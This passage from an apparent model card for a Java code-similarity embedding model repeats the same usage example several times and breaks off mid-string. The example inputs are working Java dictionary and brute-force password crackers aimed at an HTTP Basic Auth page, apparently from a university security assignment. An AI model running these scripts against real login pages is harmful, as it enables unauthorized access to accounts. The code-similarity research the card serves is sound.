(b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 